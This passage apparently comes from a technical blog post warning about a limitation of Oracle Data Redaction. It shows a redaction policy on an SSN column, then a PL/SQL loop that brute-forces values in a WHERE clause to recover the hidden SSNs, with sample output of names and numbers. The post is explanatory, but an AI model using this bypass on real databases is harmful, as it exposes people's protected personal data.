However, there are some limitations which we need to be aware of before using Data Redacton:
Let's see the scenario:
I have a table EMPLOYEES_TEST and it has SSN column which has very sensitive data:
I'm creating a policy which will redact the sensitive column for HR user:
BEGIN
DBMS_REDACT.add_policy
(object_schema => 'HR',
object_name => 'EMPLOYEES_TEST',
column_name => 'SSN',
policy_name => 'SSN_REDACT',
function_type => DBMS_REDACT.partial,
function_parameters => 'FVVVVF,*VVVV*,*,1,1',
expression => 'SYS_CONTEXT(''USERENV'',''SESSION_USER'') = ''HR''');
end;
Test the policy:
It looks like policy is working. We couldnt see the whole data of SSN column.
Unfortunately, HR user is very curious to see the SSN of employees and wanted to try the following PL SQL block:
DECLARE
SSN varchar2(1000);
BEGIN
FOR rec IN 1 .. 999999 LOOP
BEGIN
SELECT FIRST_NAME || ' ' || LAST_NAME || '''s SSN is ' || rec
into SSN
FROM HR.EMPLOYEES_TEST
WHERE SSN = to_char(rec);
DBMS_OUTPUT.PUT_LINE(SSN);
EXCEPTION
WHEN NO_DATA_FOUND THEN
CONTINUE;
END;
END LOOP;
END;
And he gets the output as:
Steven King's SSN is 123456
Neena Kochhar's SSN is 234567
Lex De Haan's SSN is 345608
Alexander Hunold's SSN is 456789
Bruce Ernst's SSN is 563890
David Austin's SSN is 668901
Valli Pataballa's SSN is 789012
Diana Lorentz's SSN is 890523
Nancy Greenberg's SSN is 901234
What is the limitation?
If you use the redacted column in "where" clause as a filter with original data, the data is validated and not getting redacted.
So, we should be careful while using Data Redaction and understand its capabilities.
